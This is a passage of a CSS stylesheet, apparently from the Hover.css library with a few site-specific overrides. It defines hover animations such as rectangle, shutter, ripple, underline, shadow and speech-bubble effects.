-moz-osx-font-smoothing: grayscale; position: relative; background: #2098d1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-rectangle-in:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #e1e1e1; -webkit-transform: scale(1); transform: scale(1); -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-rectangle-in:hover, .hvr-rectangle-in:focus, .hvr-rectangle-in:active { color: white; } .hvr-rectangle-in:hover:before, .hvr-rectangle-in:focus:before, .hvr-rectangle-in:active:before { -webkit-transform: scale(0); transform: scale(0); } /* Rectangle Out */ .hvr-rectangle-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; background: #e1e1e1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-rectangle-out:before { content: ""; position: absolute; z-index: -1; top: 0; left: 0; right: 0; bottom: 0; background: #2098d1; -webkit-transform: scale(0); transform: scale(0); -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-rectangle-out:hover, .hvr-rectangle-out:focus, .hvr-rectangle-out:active { color: white; } .hvr-rectangle-out:hover:before, .hvr-rectangle-out:focus:before, .hvr-rectangle-out:active:before { -webkit-transform: scale(1); transform: scale(1); } .top-services .hvr-rectangle-out, .services-slider .hvr-rectangle-out{ -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } .top-services .hvr-rectangle-out:before, .services-slider .hvr-rectangle-out:before { background: rgba(0,0,0,0.05); -webkit-transition-duration: 0.5s; transition-duration: 0.5s; } /* Shutter In Horizontal */ .hvr-shutter-in-horizontal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; background: #2098d1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-shutter-in-horizontal:before { content: ""; position: absolute; z-index: -1; top: 0; bottom: 0; left: 0; right: 0; background: #e1e1e1; -webkit-transform: scaleX(1); transform: scaleX(1); -webkit-transform-origin: 50%; transform-origin: 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-shutter-in-horizontal:hover, .hvr-shutter-in-horizontal:focus, .hvr-shutter-in-horizontal:active { color: white; } .hvr-shutter-in-horizontal:hover:before, .hvr-shutter-in-horizontal:focus:before, .hvr-shutter-in-horizontal:active:before { -webkit-transform: scaleX(0); transform: scaleX(0); } /* Shutter Out Horizontal */ .hvr-shutter-out-horizontal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; background: #e1e1e1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-shutter-out-horizontal:before { content: ""; position: absolute; z-index: -1; top: 0; bottom: 0; left: 0; right: 0; background: #2098d1; -webkit-transform: scaleX(0); transform: scaleX(0); -webkit-transform-origin: 50%; transform-origin: 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-shutter-out-horizontal:hover, .hvr-shutter-out-horizontal:focus, .hvr-shutter-out-horizontal:active { color: white; } .hvr-shutter-out-horizontal:hover:before, .hvr-shutter-out-horizontal:focus:before, .hvr-shutter-out-horizontal:active:before { -webkit-transform: scaleX(1); transform: scaleX(1); } /* Shutter In Vertical */ .hvr-shutter-in-vertical { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; background: #2098d1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-shutter-in-vertical:before { content: ""; position: absolute; z-index: -1; top: 0; bottom: 0; left: 0; right: 0; background: #e1e1e1; -webkit-transform: scaleY(1); transform: scaleY(1); -webkit-transform-origin: 50%; transform-origin: 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-shutter-in-vertical:hover, .hvr-shutter-in-vertical:focus, .hvr-shutter-in-vertical:active { color: white; } .hvr-shutter-in-vertical:hover:before, .hvr-shutter-in-vertical:focus:before, .hvr-shutter-in-vertical:active:before { -webkit-transform: scaleY(0); transform: scaleY(0); } /* Shutter Out Vertical */ .hvr-shutter-out-vertical { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; background: #e1e1e1; -webkit-transition-property: color; transition-property: color; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; } .hvr-shutter-out-vertical:before { content: ""; position: absolute; z-index: -1; top: 0; bottom: 0; left: 0; right: 0; background: #2098d1; -webkit-transform: scaleY(0); transform: scaleY(0); -webkit-transform-origin: 50%; transform-origin: 50%; -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-shutter-out-vertical:hover, .hvr-shutter-out-vertical:focus, .hvr-shutter-out-vertical:active { color: white; } .hvr-shutter-out-vertical:hover:before, .hvr-shutter-out-vertical:focus:before, .hvr-shutter-out-vertical:active:before { -webkit-transform: scaleY(1); transform: scaleY(1); } /* BORDER TRANSITIONS */ /* Border Fade */ .hvr-border-fade { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: box-shadow; transition-property: box-shadow; box-shadow: inset 0 0 0 4px #e1e1e1, 0 0 1px rgba(0, 0, 0, 0); /* Hack to improve aliasing on mobile/tablet devices */ } .hvr-border-fade:hover, .hvr-border-fade:focus, .hvr-border-fade:active { box-shadow: inset 0 0 0 4px #2098d1, 0 0 1px rgba(0, 0, 0, 0); /* Hack to improve aliasing on mobile/tablet devices */ } /* Hollow */ .hvr-hollow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: background; transition-property: background; box-shadow: inset 0 0 0 4px #e1e1e1, 0 0 1px rgba(0, 0, 0, 0); /* Hack to improve aliasing on mobile/tablet devices */ } .hvr-hollow:hover, .hvr-hollow:focus, .hvr-hollow:active { background: none; } /* Trim */ .hvr-trim { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-trim:before { content: ''; position: absolute; border: white solid 4px; top: 4px; left: 4px; right: 4px; bottom: 4px; opacity: 0; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: opacity; transition-property: opacity; } .hvr-trim:hover:before, .hvr-trim:focus:before, .hvr-trim:active:before { opacity: 1; } /* Ripple Out */ @-webkit-keyframes hvr-ripple-out { 100% { top: -12px; right: -12px; bottom: -12px; left: -12px; opacity: 0; } } @keyframes hvr-ripple-out { 100% { top: -12px; right: -12px; bottom: -12px; left: -12px; opacity: 0; } } .hvr-ripple-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-ripple-out:before { content: ''; position: absolute; border: #e1e1e1 solid 6px; top: 0; right: 0; bottom: 0; left: 0; -webkit-animation-duration: 1s; animation-duration: 1s; } .meet-the-team .member .social li.hvr-ripple-out:before { border: #0f86ff solid 6px; } .hvr-ripple-out:hover:before, .hvr-ripple-out:focus:before, .hvr-ripple-out:active:before { -webkit-animation-name: hvr-ripple-out; animation-name: hvr-ripple-out; } /* Ripple In */ @-webkit-keyframes hvr-ripple-in { 100% { top: 0; right: 0; bottom: 0; left: 0; opacity: 1; } } @keyframes hvr-ripple-in { 100% { top: 0; right: 0; bottom: 0; left: 0; opacity: 1; } } .hvr-ripple-in { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-ripple-in:before { content: ''; position: absolute; border: #e1e1e1 solid 4px; top: -12px; right: -12px; bottom: -12px; left: -12px; opacity: 0; -webkit-animation-duration: 1s; animation-duration: 1s; } .hvr-ripple-in:hover:before, .hvr-ripple-in:focus:before, .hvr-ripple-in:active:before { -webkit-animation-name: hvr-ripple-in; animation-name: hvr-ripple-in; } /* Outline Out */ .hvr-outline-out { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-outline-out:before { content: ''; position: absolute; border: #e1e1e1 solid 4px; top: 0; right: 0; bottom: 0; left: 0; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: top, right, bottom, left; transition-property: top, right, bottom, left; } .hvr-outline-out:hover:before, .hvr-outline-out:focus:before, .hvr-outline-out:active:before { top: -8px; right: -8px; bottom: -8px; left: -8px; } /* Outline In */ .hvr-outline-in { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-outline-in:before { pointer-events: none; content: ''; position: absolute; border: #e1e1e1 solid 4px; top: -16px; right: -16px; bottom: -16px; left: -16px; opacity: 0; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: top, right, bottom, left; transition-property: top, right, bottom, left; } .hvr-outline-in:hover:before, .hvr-outline-in:focus:before, .hvr-outline-in:active:before { top: -8px; right: -8px; bottom: -8px; left: -8px; opacity: 1; } /* Round Corners */ .hvr-round-corners { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: border-radius; transition-property: border-radius; } .hvr-round-corners:hover, .hvr-round-corners:focus, .hvr-round-corners:active { border-radius: 1em; } /* Underline From Left */ .hvr-underline-from-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-underline-from-left:before { content: ""; position: absolute; z-index: -1; left: 0; right: 100%; bottom: 0; background: #2098d1; height: 4px; -webkit-transition-property: right; transition-property: right; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-underline-from-left:hover:before, .hvr-underline-from-left:focus:before, .hvr-underline-from-left:active:before { right: 0; } /* Underline From Center */ .hvr-underline-from-center { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-underline-from-center:before { content: ""; position: absolute; z-index: -1; left: 50%; right: 50%; bottom: 0; background: #2098d1; height: 4px; -webkit-transition-property: left, right; transition-property: left, right; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-underline-from-center:hover:before, .hvr-underline-from-center:focus:before, .hvr-underline-from-center:active:before { left: 0; right: 0; } /* Underline From Right */ .hvr-underline-from-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-underline-from-right:before { content: ""; position: absolute; z-index: -1; left: 100%; right: 0; bottom: 0; background: #2098d1; height: 4px; -webkit-transition-property: left; transition-property: left; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-underline-from-right:hover:before, .hvr-underline-from-right:focus:before, .hvr-underline-from-right:active:before { left: 0; } /* Overline From Left */ .hvr-overline-from-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-overline-from-left:before { content: ""; position: absolute; z-index: -1; left: 0; right: 100%; top: 0; background: #2098d1; height: 4px; -webkit-transition-property: right; transition-property: right; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-overline-from-left:hover:before, .hvr-overline-from-left:focus:before, .hvr-overline-from-left:active:before { right: 0; } /* Overline From Center */ .hvr-overline-from-center { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-overline-from-center:before { content: ""; position: absolute; z-index: -1; left: 50%; right: 50%; top: 0; background: #2098d1; height: 4px; -webkit-transition-property: left, right; transition-property: left, right; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-overline-from-center:hover:before, .hvr-overline-from-center:focus:before, .hvr-overline-from-center:active:before { left: 0; right: 0; } /* Overline From Right */ .hvr-overline-from-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-overline-from-right:before { content: ""; position: absolute; z-index: -1; left: 100%; right: 0; top: 0; background: #2098d1; height: 4px; -webkit-transition-property: left; transition-property: left; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-overline-from-right:hover:before, .hvr-overline-from-right:focus:before, .hvr-overline-from-right:active:before { left: 0; } /* Reveal */ .hvr-reveal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-reveal:before { content: ""; position: absolute; z-index: -1; left: 0; right: 0; top: 0; bottom: 0; border-color: #2098d1; border-style: solid; border-width: 0; -webkit-transition-property: border-width; transition-property: border-width; -webkit-transition-duration: 0.1s; transition-duration: 0.1s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-reveal:hover:before, .hvr-reveal:focus:before, .hvr-reveal:active:before { -webkit-transform: translateY(0); transform: translateY(0); border-width: 4px; } /* Underline Reveal */ .hvr-underline-reveal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-underline-reveal:before { content: ""; position: absolute; z-index: -1; left: 0; right: 0; bottom: 0; background: #2098d1; height: 4px; -webkit-transform: translateY(4px); transform: translateY(4px); -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-underline-reveal:hover:before, .hvr-underline-reveal:focus:before, .hvr-underline-reveal:active:before { -webkit-transform: translateY(0); transform: translateY(0); } /* Overline Reveal */ .hvr-overline-reveal { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; overflow: hidden; } .hvr-overline-reveal:before { content: ""; position: absolute; z-index: -1; left: 0; right: 0; top: 0; background: #2098d1; height: 4px; -webkit-transform: translateY(-4px); transform: translateY(-4px); -webkit-transition-property: transform; transition-property: transform; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-timing-function: ease-out; transition-timing-function: ease-out; } .hvr-overline-reveal:hover:before, .hvr-overline-reveal:focus:before, .hvr-overline-reveal:active:before { -webkit-transform: translateY(0); transform: translateY(0); } /* SHADOW/GLOW TRANSITIONS */ /* Glow */ .hvr-glow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: box-shadow; transition-property: box-shadow; } .hvr-glow:hover, .hvr-glow:focus, .hvr-glow:active { box-shadow: 0 0 8px rgba(0, 0, 0, 0.6); } /* Shadow */ .hvr-shadow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: box-shadow; transition-property: box-shadow; } .hvr-shadow:hover, .hvr-shadow:focus, .hvr-shadow:active { box-shadow: 0 10px 10px -10px rgba(0, 0, 0, 0.5); } /* Grow Shadow */ .hvr-grow-shadow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: box-shadow, transform; transition-property: box-shadow, transform; } .hvr-grow-shadow:hover, .hvr-grow-shadow:focus, .hvr-grow-shadow:active { box-shadow: 0 10px 10px -10px rgba(0, 0, 0, 0.5); -webkit-transform: scale(1.1); transform: scale(1.1); } /* Box Shadow Outset */ .hvr-box-shadow-outset { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: box-shadow; transition-property: box-shadow; } .hvr-box-shadow-outset:hover, .hvr-box-shadow-outset:focus, .hvr-box-shadow-outset:active { box-shadow: 2px 2px 2px rgba(0, 0, 0, 0.6); } /* Box Shadow Inset */ .hvr-box-shadow-inset { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: box-shadow; transition-property: box-shadow; box-shadow: inset 0 0 0 rgba(0, 0, 0, 0.6), 0 0 1px rgba(0, 0, 0, 0); /* Hack to improve aliasing on mobile/tablet devices */ } .hvr-box-shadow-inset:hover, .hvr-box-shadow-inset:focus, .hvr-box-shadow-inset:active { box-shadow: inset 2px 2px 2px rgba(0, 0, 0, 0.6), 0 0 1px rgba(0, 0, 0, 0); /* Hack to improve aliasing on mobile/tablet devices */ } /* Float Shadow */ .hvr-float-shadow { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-float-shadow:before { pointer-events: none; position: absolute; z-index: -1; content: ''; top: 100%; left: 5%; height: 10px; width: 90%; opacity: 0; background: -webkit-radial-gradient(center, ellipse, rgba(0, 0, 0, 0.35) 0%, rgba(0, 0, 0, 0) 80%); background: radial-gradient(ellipse at center, rgba(0, 0, 0, 0.35) 0%, rgba(0, 0, 0, 0) 80%); /* W3C */ -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform, opacity; transition-property: transform, opacity; } .hvr-float-shadow:hover, .hvr-float-shadow:focus, .hvr-float-shadow:active { -webkit-transform: translateY(-5px); transform: translateY(-5px); /* move the element up by 5px */ } .hvr-float-shadow:hover:before, .hvr-float-shadow:focus:before, .hvr-float-shadow:active:before { opacity: 1; -webkit-transform: translateY(5px); transform: translateY(5px); /* move the element down by 5px (it will stay in place because it's attached to the element that also moves up 5px) */ } /* Shadow Radial */ .hvr-shadow-radial { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-shadow-radial:before, .hvr-shadow-radial:after { pointer-events: none; position: absolute; content: ''; left: 0; width: 100%; box-sizing: border-box; background-repeat: no-repeat; height: 5px; opacity: 0; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: opacity; transition-property: opacity; } .hvr-shadow-radial:before { bottom: 100%; background: -webkit-radial-gradient(50% 150%, ellipse, rgba(0, 0, 0, 0.6) 0%, rgba(0, 0, 0, 0) 80%); background: radial-gradient(ellipse at 50% 150%, rgba(0, 0, 0, 0.6) 0%, rgba(0, 0, 0, 0) 80%); } .hvr-shadow-radial:after { top: 100%; background: -webkit-radial-gradient(50% -50%, ellipse, rgba(0, 0, 0, 0.6) 0%, rgba(0, 0, 0, 0) 80%); background: radial-gradient(ellipse at 50% -50%, rgba(0, 0, 0, 0.6) 0%, rgba(0, 0, 0, 0) 80%); } .hvr-shadow-radial:hover:before, .hvr-shadow-radial:focus:before, .hvr-shadow-radial:active:before, .hvr-shadow-radial:hover:after, .hvr-shadow-radial:focus:after, .hvr-shadow-radial:active:after { opacity: 1; } /* SPEECH BUBBLES */ /* Bubble Top */ .hvr-bubble-top { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-bubble-top:before { pointer-events: none; position: absolute; z-index: -1; content: ''; border-style: solid; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; left: calc(50% - 10px); top: 0; border-width: 0 10px 10px 10px; border-color: transparent transparent #e1e1e1 transparent; } .hvr-bubble-top:hover:before, .hvr-bubble-top:focus:before, .hvr-bubble-top:active:before { -webkit-transform: translateY(-10px); transform: translateY(-10px); } /* Bubble Right */ .hvr-bubble-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-bubble-right:before { pointer-events: none; position: absolute; z-index: -1; content: ''; border-style: solid; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; top: calc(50% - 10px); right: 0; border-width: 10px 0 10px 10px; border-color: transparent transparent transparent #e1e1e1; } .hvr-bubble-right:hover:before, .hvr-bubble-right:focus:before, .hvr-bubble-right:active:before { -webkit-transform: translateX(10px); transform: translateX(10px); } /* Bubble Bottom */ .hvr-bubble-bottom { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-bubble-bottom:before { pointer-events: none; position: absolute; z-index: -1; content: ''; border-style: solid; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; left: calc(50% - 10px); bottom: 0; border-width: 10px 10px 0 10px; border-color: #e1e1e1 transparent transparent transparent; } .hvr-bubble-bottom:hover:before, .hvr-bubble-bottom:focus:before, .hvr-bubble-bottom:active:before { -webkit-transform: translateY(10px); transform: translateY(10px); } /* Bubble Left */ .hvr-bubble-left { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; } .hvr-bubble-left:before { pointer-events: none; position: absolute; z-index: -1; content: ''; border-style: solid; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; top: calc(50% - 10px); left: 0; border-width: 10px 10px 10px 0; border-color: transparent #e1e1e1 transparent transparent; } .hvr-bubble-left:hover:before, .hvr-bubble-left:focus:before, .hvr-bubble-left:active:before { -webkit-transform: translateX(-10px); transform: translateX(-10px); } /* Bubble Float Top */ .hvr-bubble-float-top { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-top:before { position: absolute; z-index: -1; content: ''; left: calc(50% - 10px); top: 0; border-style: solid; border-width: 0 10px 10px 10px; border-color: transparent transparent #e1e1e1 transparent; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-top:hover, .hvr-bubble-float-top:focus, .hvr-bubble-float-top:active { -webkit-transform: translateY(10px); transform: translateY(10px); } .hvr-bubble-float-top:hover:before, .hvr-bubble-float-top:focus:before, .hvr-bubble-float-top:active:before { -webkit-transform: translateY(-10px); transform: translateY(-10px); } /* Bubble Float Right */ .hvr-bubble-float-right { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-right:before { position: absolute; z-index: -1; top: calc(50% - 10px); right: 0; content: ''; border-style: solid; border-width: 10px 0 10px 10px; border-color: transparent transparent transparent #e1e1e1; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-right:hover, .hvr-bubble-float-right:focus, .hvr-bubble-float-right:active { -webkit-transform: translateX(-10px); transform: translateX(-10px); } .hvr-bubble-float-right:hover:before, .hvr-bubble-float-right:focus:before, .hvr-bubble-float-right:active:before { -webkit-transform: translateX(10px); transform: translateX(10px); } /* Bubble Float Bottom */ .hvr-bubble-float-bottom { display: inline-block; vertical-align: middle; -webkit-transform: translateZ(0); transform: translateZ(0); box-shadow: 0 0 1px rgba(0, 0, 0, 0); -webkit-backface-visibility: hidden; backface-visibility: hidden; -moz-osx-font-smoothing: grayscale; position: relative; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: transform; transition-property: transform; } .hvr-bubble-float-bottom:before { position: absolute; z-index: -1; content: ''; left: calc(50% - 10px); bottom: 0; border-style: solid; border-width: 10px 10px 0 10px; border-color: #e1e1e1 transparent transparent transparent; -webkit-transition-duration: 0.3s; transition-duration: 0.3s; -webkit-transition-property: 